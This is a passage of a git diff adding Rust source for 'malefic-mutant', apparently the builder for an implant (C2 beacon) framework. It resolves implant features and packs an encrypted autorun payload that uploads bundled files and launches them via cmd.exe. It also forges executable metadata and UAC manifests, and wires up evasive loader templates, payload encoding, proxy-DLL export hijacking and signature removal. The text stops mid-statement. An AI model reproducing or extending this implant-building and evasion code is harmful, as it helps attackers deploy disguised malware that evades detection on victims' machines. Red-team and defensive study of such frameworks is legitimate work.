features.insert(s.to_string()); + } + } + } + } + } + Ok(()) + } +} // impl FeatureResolver + +// ── Public API ───────────────────────────────────────────────────── + +static ENTRY_TOML_PATH: &str = "malefic/Cargo.toml"; +static PROTO_TOML_PATH: &str = "malefic-crates/proto/Cargo.toml"; + +pub(super) fn update_features( + implant: &crate::config::Implant, + version: &crate::config::Version, + source: bool, +) -> anyhow::Result<()> { + log_info!("Resolving features from configuration via schema..."); + + let resolver = FeatureResolver::from_str(CONFIG_SCHEMA)?; + let config_value = serde_json::to_value(implant)?; + let mut features = resolver.resolve(&config_value)?; + + // build-type and version features are now managed by malefic-features crate + // (set via update_features_toml in common_config), not injected into malefic/Cargo.toml + + // Special case: prelude/pack detection + let has_prelude = { + let has_pack = implant + .implants + .pack + .as_ref() + .map_or(false, |p| !p.is_empty()); + has_pack || !implant.implants.prelude.is_empty() + }; + if has_prelude && !features.contains(&"malefic-autorun".to_string()) { + log_debug!(" [special] prelude/pack detected -> feature 'malefic-autorun'"); + features.push("malefic-autorun".to_string()); + } + + // Optional: scan workspace and validate + if let Ok(registry) = FeatureRegistry::scan_workspace(Path::new(".")) { + let invalid = registry.validate_features("malefic", &features); + for f in &invalid { + log_warning!( + "Feature '{}' not found in crate 'malefic' [features] table", + f + ); + } + } + + log_debug!("Final feature list: {:?}", features); + + // Write entry crate default features + cargo_features::set_default_features(ENTRY_TOML_PATH, &features)?; + + // Proto crypto special case + let crypto_feature = resolver.resolve_crypto(&config_value); + cargo_features::set_default_features(PROTO_TOML_PATH, &[crypto_feature.clone()])?; + + // Handle 3rd-party module toml if enabled + if implant.implants.enable_3rd { + cargo_features::update_3rd_toml(&implant.implants.third_modules); + } + + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_json::json; + + fn test_schema() -> &'static str { + include_str!("../../config_lint.json") + } + + #[test] + fn test_basic_bool_flag() { + let resolver = FeatureResolver::from_str(test_schema()).unwrap(); + let config = json!({ + "basic": { + "encryption": "aes", + "key": "test", + "cron": "*/5 * * * * * *", + "jitter": 0.1, + "retry": 3, + "targets": [{"address": "127.0.0.1:5555"}], + "secure": {"enable": true}, + "proxy": {"url": "", "use_env_proxy": false}, + "dga": {"enable": false}, + "guardrail": {"enable": false} + }, + "implants": { + "runtime": "tokio", + "mod": "beacon", + "register_info": true, + "hot_load": true, + "addon": true, + "modules": [], + "enable_3rd": false + } + }); + + let features = resolver.resolve(&config).unwrap(); + // runtime_tokio is no longer in malefic entry features — it's in malefic-features now + assert!(features.contains(&"beacon".to_string())); + assert!(features.contains(&"register_info".to_string())); + assert!(features.contains(&"hot_load".to_string())); + assert!(features.contains(&"addon".to_string())); + assert!(features.contains(&"crypto_aes".to_string())); + assert!(features.contains(&"secure".to_string())); + assert!(features.contains(&"transport_tcp".to_string())); + } + + #[test] + fn test_transport_detection() { + let resolver = FeatureResolver::from_str(test_schema()).unwrap(); + let config = json!({ + "basic": { + "encryption": "xor", + "key": "test", + "cron": "*/5 * * * * * *", + "jitter": 0.1, + "retry": 3, + "targets": [ + {"address": "127.0.0.1:5555", "http": {"method": "GET", "path": "/", "version": "1.1", "headers": {}}}, + {"address": "127.0.0.1:6666"} + ], + "proxy": {"url": "", "use_env_proxy": false}, + "dga": {"enable": false}, + "guardrail": {"enable": false} + }, + "implants": { + "runtime": "tokio", + "mod": "beacon", + "register_info": false, + "hot_load": false, + "modules": [] + } + }); + + let features = resolver.resolve(&config).unwrap(); + assert!(features.contains(&"transport_http".to_string())); + assert!(features.contains(&"transport_tcp".to_string())); + } + + #[test] + fn test_crypto_resolver() { + let resolver = FeatureResolver::from_str(test_schema()).unwrap(); + + let config = json!({"basic": {"encryption": "chacha20"}}); + assert_eq!(resolver.resolve_crypto(&config), "crypto_chacha20"); + + let config = json!({"basic": {"encryption": "aes"}}); + assert_eq!(resolver.resolve_crypto(&config), "crypto_aes"); + + let config = json!({"basic": {"encryption": "unknown"}}); + assert_eq!(resolver.resolve_crypto(&config), "crypto_xor"); + } +} diff --git a/malefic-mutant/src/generate/mod.rs b/malefic-mutant/src/generate/mod.rs new file mode 100644 index 0000000..8b5f1de --- /dev/null +++ b/malefic-mutant/src/generate/mod.rs @@ -0,0 +1,129 @@ +#[allow(unused_imports)] +use crate::{log_debug, log_info, log_step, log_success, log_warning}; +use codegen::update_core_config; +use prelude::parse_yaml; +use resources::update_resources; + +pub mod cargo_features; +mod codegen; +mod features; +mod prelude; +mod resources; +mod spites; + +use crate::config::{Implant, Version}; +use crate::generate::prelude::update_prelude_spites; +pub use cargo_features::{update_3rd_toml, update_module_toml}; + +fn common_config(implant: &mut Implant, version: &Version, source: bool) { + log_step!("Updating version, build-type, and runtime..."); + cargo_features::update_features_toml(version, source, &implant.implants.runtime); + if source { + cargo_features::update_winkit_toml(&implant.implants, version); + } +} + +pub fn pulse(source: bool) -> anyhow::Result<()> { + log_step!("Updating pulse configuration..."); + cargo_features::update_pulse_toml(source); + log_success!("Pulse configuration has been updated successfully"); + Ok(()) +} + +fn update_config( + r#mod: &str, + implant: &mut Implant, + version: &Version, + source: bool, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { + implant.implants.r#mod = r#mod.to_string(); + + let build_config = implant + .build + .as_ref() + .ok_or_else(|| anyhow::anyhow!("build configuration is required but not found"))?; + + // Generate malefic-crates/config/src/lib.rs (Rust source code) + update_core_config(&implant.basic, &implant.implants, Some(build_config))?; + + // Update resource metadata (RC/manifest) + let metadata = build_config + .metadata + .as_ref() + .ok_or_else(|| anyhow::anyhow!("metadata configuration is required but not found"))?; + update_resources(metadata, metadata_wordlist); + + // Schema-driven feature resolution -> write to entry & proto Cargo.toml + features::update_features(implant, version, source)?; + + // Update module feature list (dynamic module selection) + update_module_toml(&implant.implants.modules, source); + + Ok(()) +} + +pub fn beacon( + implant: &mut Implant, + version: &Version, + source: bool, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { + log_step!("Updating beacon configuration..."); + common_config(implant, version, source); + spites::update_malefic_spites(&implant.implants, &implant.basic.key, source)?; + update_config("beacon", implant, version, source, metadata_wordlist)?; + log_success!("Beacon configuration has been updated successfully"); + Ok(()) +} + +pub fn bind( + implant: &mut Implant, + version: &Version, + source: bool, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { + log_step!("Updating bind configuration..."); + common_config(implant, version, source); + update_config("bind", implant, version, source, metadata_wordlist)?; + log_success!("Bind configuration has been updated successfully"); + Ok(()) +} + +pub fn prelude( + implant: &mut Implant, + version: &Version, + source: bool, + prelude_yaml_path: &str, + resources: &str, + key: &str, + spite: &str, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { + log_step!("Updating prelude configuration..."); + common_config(implant, version, source); + let autorun_yaml = std::fs::read_to_string(prelude_yaml_path)?; + let parsed = parse_yaml(&autorun_yaml); + if !parsed.regular_modules.is_empty() { + cargo_features::update_module_toml(&parsed.regular_modules, source); + } + if !parsed.third_modules.is_empty() { + cargo_features::update_3rd_toml(&parsed.third_modules); + } + update_prelude_spites(parsed, resources, key, spite)?; + + let build_config = implant + .build + .as_ref() + .ok_or_else(|| anyhow::anyhow!("build configuration is required"))?; + let metadata = build_config + .metadata + .as_ref() + .ok_or_else(|| anyhow::anyhow!("metadata configuration is required but not found"))?; + update_resources(metadata, metadata_wordlist); + + // Schema-driven feature resolution for prelude too + features::update_features(implant, version, source)?; + + Ok(()) +} diff --git a/malefic-mutant/src/generate/prelude.rs b/malefic-mutant/src/generate/prelude.rs new file mode 100644 index 0000000..0ff811b --- /dev/null +++ b/malefic-mutant/src/generate/prelude.rs @@ -0,0 +1,279 @@ +use crate::{log_info, log_success, RESOURCES_DIR}; + +use anyhow::Result; +use base64::{prelude::BASE64_STANDARD, Engine}; +use malefic_crypto::compress::compress; +use malefic_crypto::crypto::new_cryptor; +use malefic_proto::encode; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Spites}; +use serde_yaml::value::Tag; +use serde_yaml::{from_str, Number, Value}; +use std::fs; +use std::io::Write; +use std::path::Path; + +/// Convert bytes to YAML sequence of numbers +fn bytes_to_yaml_sequence(bytes: Vec) -> Value { + Value::Sequence( + bytes + .into_iter() + .map(|byte| Value::Number(Number::from(byte as i64))) + .collect(), + ) +} + +/// Process custom YAML tags (!File, !Base64, !Hex) recursively +fn process_tags(value: &mut Value, path: &str) { + match value { + Value::Mapping(map) => { + for (k, v) in map.iter_mut() { + let key = k.as_str().unwrap_or("unknown"); + process_tags(v, &format!("{} > {}", path, key)); + } + } + Value::Sequence(seq) => { + for (i, v) in seq.iter_mut().enumerate() { + process_tags(v, &format!("{}[{}]", path, i)); + } + } + Value::Tagged(tagged) => match &tagged.tag { + tag if *tag == Tag::new("!File") => { + if let Value::String(file_path) = &tagged.value { + let resource_filepath = Path::new(RESOURCES_DIR).join(file_path); + let file_content = fs::read(&resource_filepath).unwrap_or_else(|err| { + panic!( + "Failed to read file '{:?}': {} at {}", + resource_filepath, err, path + ); + }); + *value = bytes_to_yaml_sequence(file_content); + } + } + tag if *tag == Tag::new("!Base64") => { + if let Value::String(encoded_str) = &tagged.value { + let decoded_bytes = BASE64_STANDARD.decode(encoded_str).unwrap_or_else(|err| { + panic!( + "Failed to decode base64 string '{}': {} at {}", + encoded_str, err, path + ); + }); + *value = bytes_to_yaml_sequence(decoded_bytes); + } + } + tag if *tag == Tag::new("!Hex") => { + if let Value::String(hex_str) = &tagged.value { + let decoded_bytes = hex::decode(hex_str).unwrap_or_else(|err| { + panic!( + "Failed to decode hex string '{}': {} at {}", + hex_str, err, path + ); + }); + *value = bytes_to_yaml_sequence(decoded_bytes); + } + } + _ => { + process_tags(&mut tagged.value, path); + } + }, + _ => {} + } +} + +/// Parse YAML with custom tag processing +fn parse_yaml_with_tag(yaml_str: &str) -> T +where + T: serde::de::DeserializeOwned, +{ + let mut yaml_value: Value = from_str(yaml_str).expect("Failed to parse YAML"); + process_tags(&mut yaml_value, "root"); + serde_yaml::from_value(yaml_value).expect("Failed to deserialize into target type") +} + +/// Wrapper for Spite with additional metadata +#[derive(serde::Deserialize, Debug)] +struct SpiteWrapper { + #[serde(default)] + name: String, + #[serde(default)] + task_id: u32, + #[serde(default)] + r#async: bool, + #[serde(default)] + timeout: u64, + #[serde(default)] + error: u32, + #[serde(default)] + status: Option, + /// Flag to indicate if this is a 3rd party module + #[serde(default)] + third: bool, + /// Explicit feature dependency (overrides name for Cargo.toml features) + /// Can be a single string or array of strings + #[serde(default)] + depend_on: Option, + body: Option, +} + +/// Support both single string and array of strings for depend_on +#[derive(serde::Deserialize, Debug, Clone)] +#[serde(untagged)] +enum DependOn { + Single(String), + Multiple(Vec), +} + +impl DependOn { + fn into_vec(self) -> Vec { + match self { + DependOn::Single(s) => vec![s], + DependOn::Multiple(v) => v, + } + } +} + +/// Parsed spites with module classification +pub struct ParsedSpites { + pub spites: Vec, + pub regular_modules: Vec, + pub third_modules: Vec, +} + +/// Parse YAML configuration and classify modules +pub fn parse_yaml(yaml_str: &str) -> ParsedSpites { + let spites_wrappers: Vec = parse_yaml_with_tag(yaml_str); + + let mut spites = Vec::new(); + let mut regular_modules = Vec::new(); + let mut third_modules = Vec::new(); + + for wrapper in spites_wrappers { + if let Some(body) = wrapper.body { + spites.push(Spite { + name: wrapper.name.clone(), + task_id: wrapper.task_id, + r#async: wrapper.r#async, + timeout: wrapper.timeout, + error: wrapper.error, + status: wrapper.status, + body: Some(body), + }); + + // Get features: use depend_on if specified, otherwise fall back to name + let features = wrapper + .depend_on + .map(|d| d.into_vec()) + .unwrap_or_else(|| vec![wrapper.name]); + + // Classify and collect module features + let module_list = if wrapper.third { + &mut third_modules + } else { + &mut regular_modules + }; + + for feature in features { + if !module_list.contains(&feature) { + module_list.push(feature); + } + } + } + } + + ParsedSpites { + spites, + regular_modules, + third_modules, + } +} + +/// Update prelude spites and corresponding Cargo.toml files +pub fn update_prelude_spites( + parsed: ParsedSpites, + resources: &str, + key: &str, + output: &str, +) -> Result<()> { + let base_filepath = Path::new(resources); + + log_info!( + "Detected regular modules from prelude: {:?}", + parsed.regular_modules + ); + log_info!( + "Detected 3rd modules from prelude: {:?}", + parsed.third_modules + ); + + // Encode, compress, and encrypt spites + let data = encode(Spites { + spites: parsed.spites, + })?; + let compressed = compress(&data)?; + let iv: Vec = key.as_bytes().iter().rev().copied().collect(); + let mut cryptor = new_cryptor(key.as_bytes().to_vec(), iv); + let encrypted = cryptor.encrypt(compressed)?; + + // Write encrypted data to file + let spite_path = base_filepath.join(output); + let mut file = fs::File::create(&spite_path)?; + file.write_all(&encrypted)?; + + log_success!("Data successfully written to {:?}", spite_path); + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::parse_yaml; + + #[test] + fn parse_yaml_collects_regular_and_third_party_features() { + let yaml = r#" +- name: pwd + body: !Request + name: pwd +- name: bof + depend_on: + - execute_bof + - execute_local + body: !Request + name: bof +- name: pty + third: true + depend_on: pty + body: !PtyRequest + command: "cmd.exe" +"#; + + let parsed = parse_yaml(yaml); + + assert_eq!( + parsed.regular_modules, + vec![ + "pwd".to_string(), + "execute_bof".to_string(), + "execute_local".to_string() + ] + ); + assert_eq!(parsed.third_modules, vec!["pty".to_string()]); + assert_eq!(parsed.spites.len(), 3); + } + + #[test] + fn depend_on_overrides_name_and_deduplicates_features() { + let yaml = r#" +- name: execute + depend_on: + - exec + - exec + body: !Request + name: execute +"#; + + let parsed = parse_yaml(yaml); + + assert_eq!(parsed.regular_modules, vec!["exec".to_string()]); + assert!(parsed.third_modules.is_empty()); + } +} diff --git a/malefic-mutant/src/generate/resources.rs b/malefic-mutant/src/generate/resources.rs new file mode 100644 index 0000000..ff5d814 --- /dev/null +++ b/malefic-mutant/src/generate/resources.rs @@ -0,0 +1,148 @@ +use crate::config::MetaData; +use crate::RESOURCES_DIR; +use crate::{log_info, log_step, log_success}; +use std::fs::{self, File}; +use std::io::Write; +use std::path::Path; + +pub fn update_resources(metadata: &MetaData, metadata_wordlist: Option<&str>) { + let mut metadata = metadata.clone(); + metadata.resolve_random(metadata_wordlist); + log_step!("Updating resource configuration..."); + let base_filepath = Path::new(RESOURCES_DIR); + let resource_filepath = base_filepath.join("malefic.rc"); + + // Generate RC file content + let mut rc_content = String::new(); + + // If permissions are required, generate manifest first + if metadata.require_admin || metadata.require_uac { + log_info!("Generating manifest file for elevated privileges"); + let mut manifest = String::new(); + manifest.push_str( + r#" + + + + +"#, + ); + + if metadata.require_admin { + manifest.push_str(r#" "#); + log_info!("Setting requireAdministrator privilege level"); + } else if metadata.require_uac { + manifest.push_str(r#" "#); + log_info!("Setting highestAvailable privilege level"); + } + + manifest.push_str( + r#" + + + + +"#, + ); + + // Write manifest to file + let manifest_path = base_filepath.join("app.manifest"); + fs::write(&manifest_path, manifest).expect("Failed to write manifest file"); + log_success!( + "Manifest file has been created at: {}", + manifest_path.display() + ); + + rc_content.push_str("1 24 \"app.manifest\"\n\n"); + } + + // Add icon + if !metadata.icon.is_empty() { + rc_content.push_str(&format!("1 ICON \"{}\"\n", metadata.icon)); + } + + // Add version information + rc_content.push_str("#define VER_FILEVERSION 1,0,0,0\n"); + rc_content.push_str("#define VER_FILEVERSION_STR \"1.0.0.0\"\n"); + rc_content.push_str("#define VER_PRODUCTVERSION 1,0,0,0\n"); + rc_content.push_str("#define VER_PRODUCTVERSION_STR \"1.0.0.0\"\n\n"); + + rc_content.push_str("1 VERSIONINFO\n"); + rc_content.push_str("FILEVERSION VER_FILEVERSION\n"); + rc_content.push_str("PRODUCTVERSION VER_PRODUCTVERSION\n"); + rc_content.push_str("FILEFLAGSMASK 0x3fL\n"); + rc_content.push_str("FILEFLAGS 0x0L\n"); + rc_content.push_str("FILEOS 0x40004L\n"); + rc_content.push_str("FILETYPE 0x1L\n"); + rc_content.push_str("FILESUBTYPE 0x0L\n"); + rc_content.push_str("BEGIN\n"); + rc_content.push_str(" BLOCK \"StringFileInfo\"\n"); + rc_content.push_str(" BEGIN\n"); + rc_content.push_str(" BLOCK \"040904E4\"\n"); + rc_content.push_str(" BEGIN\n"); + + // Define all possible version information fields + let version_fields = if !metadata.compile_time.is_empty() { + vec![ + ("Comments", metadata.compile_time.clone()), + ("CompileDate", metadata.compile_time.clone()), + ("FileVersion", metadata.file_version.clone()), + ("ProductVersion", metadata.product_version.clone()), + ("CompanyName", metadata.company_name.clone()), + ("ProductName", metadata.product_name.clone()), + ("OriginalFilename", metadata.original_filename.clone()), + ("FileDescription", metadata.file_description.clone()), + ("InternalName", metadata.internal_name.clone()), + ( + "LegalCopyright", + format!( + "Copyright {} {}", + metadata.company_name, + metadata + .compile_time + .split_whitespace() + .last() + .unwrap_or("") + ), + ), + ] + } else { + vec![ + ("FileVersion", metadata.file_version.clone()), + ("ProductVersion", metadata.product_version.clone()), + ("CompanyName", metadata.company_name.clone()), + ("ProductName", metadata.product_name.clone()), + ("OriginalFilename", metadata.original_filename.clone()), + ("FileDescription", metadata.file_description.clone()), + ("InternalName", metadata.internal_name.clone()), + ] + }; + + // Add non-empty fields + for (field_name, field_value) in version_fields.iter() { + if !field_value.is_empty() { + rc_content.push_str(&format!( + " VALUE \"{}\", \"{}\"\n", + field_name, field_value + )); + } + } + + rc_content.push_str(" END\n"); + rc_content.push_str(" END\n"); + rc_content.push_str(" BLOCK \"VarFileInfo\"\n"); + rc_content.push_str(" BEGIN\n"); + rc_content.push_str(" VALUE \"Translation\", 0x409, 1252\n"); + rc_content.push_str(" END\n"); + rc_content.push_str("END\n"); + + // Write RC file + let mut file = File::create(&resource_filepath).expect("Failed to create resource file"); + file.write_all(rc_content.as_bytes()) + .expect("Failed to write resource file"); + + log_success!( + "Resource file has been created at: {}", + resource_filepath.display() + ); +} diff --git a/malefic-mutant/src/generate/spites.rs b/malefic-mutant/src/generate/spites.rs new file mode 100644 index 0000000..34caddf --- /dev/null +++ b/malefic-mutant/src/generate/spites.rs @@ -0,0 +1,114 @@ +use crate::config::ImplantConfig; +use crate::generate::prelude::{parse_yaml, update_prelude_spites}; +use crate::{log_info, log_step, log_success}; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::Spite; +use std::fs; +use std::path::Path; + +/// Helper function to add a module to the list if not already present +fn add_module_if_missing(modules: &mut Vec, module_name: &str) { + if !modules.contains(&module_name.to_string()) { + modules.push(module_name.to_string()); + } +} + +/// Helper function to create a default Spite structure +fn create_spite(name: &str, body: Body) -> Spite { + Spite { + name: name.to_string(), + task_id: 0, + r#async: false, + timeout: 0, + error: 0, + status: None, + body: Some(body), + } +} + +pub fn update_malefic_spites( + implant_config: &ImplantConfig, + key: &str, + source: bool, +) -> anyhow::Result<()> { + let has_pack = implant_config + .pack + .as_ref() + .map_or(false, |p| !p.is_empty()); + + if implant_config.prelude.is_empty() && !has_pack { + return Ok(()); + } + + log_step!("Generating malefic spites..."); + + // Load prelude configuration or create empty ParsedSpites + let mut parsed = if !implant_config.prelude.is_empty() { + log_info!( + "Loading autorun configuration from {}", + implant_config.prelude + ); + let autorun_yaml = fs::read_to_string(&implant_config.prelude)?; + parse_yaml(&autorun_yaml) + } else { + use crate::generate::prelude::ParsedSpites; + ParsedSpites { + spites: Vec::new(), + regular_modules: Vec::new(), + third_modules: Vec::new(), + } + }; + + // Process pack resources + if let Some(pack_resources) = &implant_config.pack { + let resources_path = Path::new("./resources"); + + for pack in pack_resources { + let pack_file = resources_path.join(&pack.src); + if !pack_file.exists() { + continue; + } + + // Create upload spite + let file_data = fs::read(&pack_file).expect("Failed to read resource file"); + let upload_request = + Body::UploadRequest(malefic_proto::proto::modulepb::UploadRequest { + name: String::new(), + r#priv: 0o644, + hidden: false, + r#override: false, + target: pack.dst.clone(), + data: file_data, + }); + parsed.spites.push(create_spite("upload", upload_request)); + add_module_if_missing(&mut parsed.regular_modules, "upload"); + + // Create exec spite + let exec_request = Body::ExecRequest(malefic_proto::proto::modulepb::ExecRequest { + path: "cmd.exe".to_string(), + ppid: 0, + args: vec![ + "/C".to_string(), + "start".to_string(), + String::new(), + pack.dst.clone(), + ], + output: false, + singleton: true, + realtime: false, + }); + parsed.spites.push(create_spite("exec", exec_request)); + add_module_if_missing(&mut parsed.regular_modules, "exec"); + } + } + + if !parsed.regular_modules.is_empty() { + super::cargo_features::update_module_toml(&parsed.regular_modules, source); + } + if !parsed.third_modules.is_empty() { + super::cargo_features::update_3rd_toml(&parsed.third_modules); + } + update_prelude_spites(parsed, "./resources", key, "spite.bin")?; + log_success!("Malefic spites have been generated successfully"); + Ok(()) +} diff --git a/malefic-mutant/src/logger.rs b/malefic-mutant/src/logger.rs new file mode 100644 index 0000000..642040f --- /dev/null +++ b/malefic-mutant/src/logger.rs @@ -0,0 +1,91 @@ +use chrono::Local; +use colored::*; +use log::{Level, LevelFilter, Metadata, Record}; + +pub fn init(debug: bool) { + log::set_logger(&MutantLogger).unwrap(); + if debug { + log::set_max_level(LevelFilter::Debug); + } else { + log::set_max_level(LevelFilter::Info); + } +} + +struct MutantLogger; + +impl log::Log for MutantLogger { + fn enabled(&self, metadata: &Metadata) -> bool { + metadata.level() <= log::max_level() + } + + fn log(&self, record: &Record) { + if self.enabled(record.metadata()) { + let level_str = match record.level() { + Level::Error => record.level().to_string().red(), + Level::Warn => record.level().to_string().yellow(), + Level::Info => record.level().to_string().green(), + Level::Debug => record.level().to_string().blue(), + Level::Trace => record.level().to_string().normal(), + }; + + let timestamp = Local::now().format("%H:%M:%S"); + + println!( + "{} {} {}", + timestamp.to_string().blue(), + level_str, + record.args() + ); + } + } + + fn flush(&self) {} +} + +#[macro_export] +macro_rules! log_success { + ($($arg:tt)*) => {{ + use colored::Colorize; + log::info!("{} {}", "✓".green() , format!($($arg)*)) + }} +} + +#[macro_export] +macro_rules! log_error { + ($($arg:tt)*) => {{ + use colored::Colorize; + log::error!("{} {}", "✗".red(), format!($($arg)*)) + }} +} + +#[macro_export] +macro_rules! log_warning { + ($($arg:tt)*) => {{ + use colored::Colorize; + log::warn!("{} {}", "!".yellow(), format!($($arg)*)) + }} +} + +#[macro_export] +macro_rules! log_info { + ($($arg:tt)*) => {{ + use colored::Colorize; + log::info!("{} {}", "→".blue(), format!($($arg)*)) + }} +} + +#[macro_export] +macro_rules! log_step { + ($($arg:tt)*) => {{ + use colored::Colorize; + log::info!("{} {}", "âš¡".cyan(), format!($($arg)*)) + }} +} + +#[macro_export] +macro_rules! log_debug { + ($($arg:tt)*) => {{ + use colored::Colorize; + log::debug!("{} {}", "·".dimmed(), format!($($arg)*)) + }} +} diff --git a/malefic-mutant/src/main.rs b/malefic-mutant/src/main.rs new file mode 100644 index 0000000..604cd76 --- /dev/null +++ b/malefic-mutant/src/main.rs @@ -0,0 +1,1827 @@ +#[allow(deprecated)] +use anyhow::Context; +use clap::Parser; +use cmd::SrdiType; +use generate::{beacon, bind, prelude, pulse}; + +use build::*; +use jsonschema::Validator; +use serde_json::Value as JsonValue; +use serde_yaml::Value as YamlValue; + +use crate::build::payload::{build_payload, BuildProfile}; +use crate::cmd::{ + BinderCommands, BuildCommands, Cli, Commands, GenerateCommands, IconCommands, PayloadType, + SigForgeCommands, Tool, WatermarkCommands, +}; +use crate::tool::sigforge::SignatureRemover; +use config::{Implant, Version}; +use std::{fs, path::Path, process, time::Duration}; +use strum_macros::{Display, EnumString}; + +mod build; +mod cmd; +mod config; +mod generate; +mod logger; +mod tool; + +#[derive(Debug, Clone, Copy, EnumString, Display)] +pub enum Platform { + #[strum(serialize = "win")] + Win, + #[strum(serialize = "linux")] + Linux, + #[strum(serialize = "darwin")] + Darwin, +} + +static CONFIG_SCHEMA: &str = include_str!("../config_lint.json"); + +static DEFAULT: &str = "default"; +static FEATURES: &str = "features"; + +static RESOURCES_DIR: &str = "./resources/"; + +fn load_yaml_config(yaml_path: &str) -> anyhow::Result { + log_step!("Loading configuration from {}", yaml_path); + let yaml_content = fs::read_to_string(yaml_path).map_err(|e| { + log_error!("Failed to read YAML configuration file: {}", e); + e + })?; + + let config: Implant = serde_yaml::from_str(&yaml_content).map_err(|e| { + log_error!("Failed to parse YAML configuration: {}", e); + e + })?; + + log_success!("Configuration loaded successfully"); + Ok(config) +} + +fn validate_yaml_config(yaml_path: &str) -> anyhow::Result<()> { + log_step!("Validating configuration schema..."); + let yaml_content = fs::read_to_string(yaml_path)?; + let yaml_value: YamlValue = serde_yaml::from_str(&yaml_content)?; + let json_value = serde_json::to_value(&yaml_value)?; + + let schema: JsonValue = + serde_json::from_str(CONFIG_SCHEMA).expect("Failed to parse embedded JSON schema"); + + let compiled_schema = Validator::new(&schema).expect("Invalid JSON Schema"); + + if let Err(error) = compiled_schema.validate(&json_value) { + log_error!( + "Schema validation '{}' failed: {}", + error.instance_path, + error + ); + process::exit(1); + } + + log_success!("Configuration schema is valid"); + Ok(()) +} + +// Define the CLI structure + +fn parse_generate( + yaml_config: &mut Implant, + config: &GenerateCommands, + version: Version, + patch_mode: bool, + source: bool, + metadata_wordlist: Option<&str>, +) -> anyhow::Result<()> { + log_step!("Starting configuration generation..."); + + if patch_mode { + let build = yaml_config + .build + .as_mut() + .ok_or_else(|| anyhow::anyhow!("build configuration is required but not found"))?; + build.obfstr = false; + log_info!("Patch mode enabled: obfstr disabled, generate XOR blocks for patching"); + } + + let result = match config { + GenerateCommands::Beacon => { + log_info!("Generating beacon configuration"); + beacon(yaml_config, &version, source, metadata_wordlist) + } + GenerateCommands::Bind => { + log_info!("Generating bind configuration"); + bind(yaml_config, &version, source, metadata_wordlist) + } + GenerateCommands::Prelude { + yaml_path: prelude_yaml_path, + resources, + key, + spite, + } => { + log_info!("Generating prelude configuration"); + prelude( + yaml_config, + &version, + source, + prelude_yaml_path, + resources, + key, + spite, + metadata_wordlist, + ) + } + GenerateCommands::Modules { module } => { + if !module.is_empty() { + yaml_config.implants.modules = module.split(",").map(|x| x.to_string()).collect(); + log_info!("Using modules: {:?}", yaml_config.implants.modules); + } + beacon(yaml_config, &version, source, metadata_wordlist) + } + GenerateCommands::Pulse { platform, arch } => { + log_info!("Generating pulse configuration for {} {}", platform, arch); + pulse(source)?; + let pulse_config = yaml_config + .pulse + .clone() + .ok_or_else(|| anyhow::anyhow!("pulse configuration is required but not found"))?; + pulse_generate(pulse_config, *platform, *arch, version, source) + } + GenerateCommands::Loader { command } => { + use crate::cmd::LoaderCommands; + match command { + LoaderCommands::Template { + template, + list, + input, + encoding, + debug, + } => { + use crate::tool::loader::template::{TemplateLoader, LOADER_NAMES}; + + if *list { + log_info!("Available loader templates:"); + for name in LOADER_NAMES { + println!(" {}", name); + } + return Ok(()); + } + + let mut loader = if template == "random" { + log_info!("Using random template selection"); + TemplateLoader::random() + } else { + TemplateLoader::with_template(template) + }; + + loader = loader.with_debug(*debug); + + if let Some(evader) = yaml_config.loader.as_ref().and_then(|l| l.evader.clone()) + { + loader = loader.with_evader(evader); + } + + if let Some(enc) = encoding { + let input_path = input.as_ref().ok_or_else(|| { + anyhow::anyhow!("--input is required when --encoding is specified") + })?; + + let payload_data = std::fs::read(input_path).map_err(|e| { + anyhow::anyhow!("Failed to read payload '{}': {}", input_path, e) + })?; + log_info!( + "Read {} bytes payload from {}", + payload_data.len(), + input_path + ); + + use crate::tool::encoder::{self, EncodingType}; + let enc_type = EncodingType::from_str(enc)?; + log_step!("Encoding payload with: {}", enc_type); + let result = encoder::encode_payload(&payload_data, &enc_type)?; + + let enc_data = if !result.strings.is_empty() { + result.strings.join("\n").into_bytes() + } else { + result.encoded.clone() + }; + + TemplateLoader::write_payload(&enc_data, &result.key, &result.extra)?; + log_info!( + "Encoded payload written to malefic-loader/generated/ ({} bytes)", + enc_data.len() + ); + + loader = loader.with_encoding(enc); + } else { + TemplateLoader::clear_payload()?; + } + + loader = loader.with_debug(*debug); + + log_step!( + "Building loader with template: {}{}{}", + loader.get_template(), + loader + .encoding + .as_ref() + .map(|e| format!(" + encoding: {}", e)) + .unwrap_or_default(), + if *debug { " [debug]" } else { "" } + ); + let path = loader.build(true, "x86_64-pc-windows-gnu")?; + log_success!("Loader built: {}", path.display()); + Ok(()) + } + LoaderCommands::ProxyDll { + raw_dll, + proxied_dll, + proxy_dll, + hijacked_exports, + native_thread, + hijack_dll_main, + } => { + // Try to get config from yaml, command line args override config file + let proxydll_config = yaml_config + .loader + .as_ref() + .and_then(|l| l.proxydll.as_ref()); + + // Determine actual values (CLI args > config file) + let raw_dll_path = if !raw_dll.is_empty() { + raw_dll.clone() + } else if let Some(cfg) = proxydll_config { + cfg.raw_dll.clone() + } else { + return Err(anyhow::anyhow!( + "raw_dll is required (use -r or configure in yaml)" + )); + }; + + let proxied_dll_path = if !proxied_dll.is_empty() { + proxied_dll.clone() + } else if let Some(cfg) = proxydll_config { + cfg.proxied_dll.clone() + } else { + return Err(anyhow::anyhow!( + "proxied_dll is required (use -p or configure in yaml)" + )); + }; + + // Proxy DLL name: CLI > config > extract from proxied_dll + let proxy_dll_name = if let Some(out) = proxy_dll { + out.clone() + } else if let Some(cfg) = proxydll_config { + cfg.proxy_dll.clone().unwrap_or_else(|| { + std::path::Path::new(&cfg.proxied_dll) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or(&cfg.proxied_dll) + .to_string() + }) + } else { + std::path::Path::new(&proxied_dll_path) + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or(&proxied_dll_path) + .to_string() + }; + + let hijacked_funcs = if !hijacked_exports.is_empty() { + hijacked_exports.clone() + } else if let Some(cfg) = proxydll_config { + cfg.proxyfunc.clone() + } else { + String::new() + }; + + let use_native_thread = + *native_thread || proxydll_config.map_or(false, |c| c.native_thread); + let use_block = proxydll_config.map_or(false, |c| c.block); + let _resource_dir = proxydll_config + 